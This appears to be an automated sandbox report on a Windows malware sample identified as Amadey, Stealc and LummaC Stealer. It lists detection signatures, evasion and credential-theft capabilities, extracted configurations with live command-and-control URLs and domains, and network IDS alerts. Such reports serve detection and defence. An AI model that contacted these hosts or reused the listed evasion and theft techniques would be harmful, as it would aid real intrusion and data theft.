Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1571920
MD5: d75b31ba6f3bebdb12b9c28a09d444f9
SHA1: 80f5231691ec242eb62324bdf2986c50ae9b2ac8
SHA256: e951c2f841b3ca0b3bb4ba865ab40d102a6074a4b6f74c0c10d99f6ea125c2cf
Tags: exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found evaded block containing many API calls
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: https://atten-supporse.biz/6) Avira URL Cloud: Label: malware
Source: http://185.215.113.16/well/random.exe_Q Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedM= Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeZP Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/apiU. Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpgRL Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpph Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe;P Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe-P Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 11.2.d0d9725343.exe.400000.1.unpack Malware Configuration Extractor: LummaC {"C2 url": ["drive-connect.cyou", "se-blurry.biz", "zinc-sneark.biz", "dare-curbys.biz", "formy-spill.biz", "print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "dwell-exclaim.biz"], "Build id": "FATE99--test"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 55%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 55%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 99.9% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: impend-differ.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: print-vexer.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: dare-curbys.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: covery-mover.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: formy-spill.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: dwell-exclaim.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: zinc-sneark.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: se-blurry.biz
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: drive-connect.cyou
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: lid=%s&j=%s&ver=4.0
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: TeslaBrowser/5.5
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: - Screen Resoluton:
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: - Physical Installed Memory:
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: Workgroup: -
Source: 11.2.d0d9725343.exe.400000.1.unpack String decryptor: FATE99--test
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 11_2_00416B7E CryptUnprotectData, 11_2_00416B7E
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey, 12_2_004035B0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B43817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey, 12_2_04B43817
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: unknown HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49873 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49884 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49899 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49905 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49921 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.139.78:443 -> 192.168.2.6:49924 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49936 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49943 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49951 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49958 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49960 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49973 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49979 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49992 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49994 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50033 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50065 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:50074 version: TLS 1.2
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_00240868 FindFirstFileExW, 8_2_00240868
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_00240919 FindFirstFileExW,FindNextFileW,FindClose,FindClose, 8_2_00240919
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_00240868 FindFirstFileExW, 10_2_00240868
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_00240919 FindFirstFileExW,FindNextFileW,FindClose,FindClose, 10_2_00240919
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_004176E7 FindFirstFileExW, 12_2_004176E7
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_10007EA9 FindFirstFileExW, 12_2_10007EA9
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B5794E FindFirstFileExW, 12_2_04B5794E
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h] 11_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h] 11_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then push eax 11_2_0040C36E
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h 11_2_0043DBD0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov edx, ecx 11_2_00409CC0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh 11_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov byte ptr [edx], bl 11_2_0040CE55
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h] 11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov byte ptr [esi], al 11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h] 11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h] 11_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov word ptr [eax], dx 11_2_00417E82
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh 11_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah] 11_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah] 11_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 11_2_0042A060
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh] 11_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov edx, ecx 11_2_0041D074
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov edx, ecx 11_2_0041D087
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov byte ptr [esi], cl 11_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov byte ptr [esi], cl 11_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh] 11_2_0041597D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh] 11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov edi, eax 11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov ebx, eax 11_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov ebp, eax 11_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h 11_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov word ptr [eax], cx 11_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh] 11_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov ecx, eax 11_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h 11_2_0040C274
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov eax, dword ptr [00444284h] 11_2_00425230
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 11_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch] 11_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov edx, ebx 11_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then add ebp, dword ptr [esp+0Ch] 11_2_0042AAD0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov byte ptr [eax], cl 11_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx ebx, bx 11_2_0042536C
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx ebx, byte ptr [ecx+esi] 11_2_00402B70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov word ptr [ecx], dx 11_2_00427307
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2] 11_2_00436B20
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 11_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h] 11_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx ecx, word ptr [edi+esi*4] 11_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then jmp eax 11_2_0042B475
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h 11_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 11_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov byte ptr [ebx], al 11_2_0042B4BB
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 11_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 11_2_004345F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch] 11_2_00427653
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov eax, dword ptr [ebp-10h] 11_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h 11_2_0042A630
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h] 11_2_004296D8
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh] 11_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov word ptr [eax], cx 11_2_00421EE0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp al, 2Eh 11_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov word ptr [eax], cx 11_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh] 11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov edi, eax 11_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h 11_2_0041CEA5
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then add ebx, 03h 11_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh] 11_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h 11_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov ecx, edx 11_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov word ptr [eax], cx 11_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then mov word ptr [ecx], dx 11_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h 11_2_0043DFB0
Source: firefox.exe Memory has grown: Private usage: 1MB later: 190MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49848 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49854
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49868 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49892 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49921 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49916 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.6:55941 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49930 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49936 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49942 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49943 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49944 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49951 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49958 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49960 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49965 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49967 -> 104.21.48.1:443
Source: Network traffic Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49973 -> 104.21.48.1:443
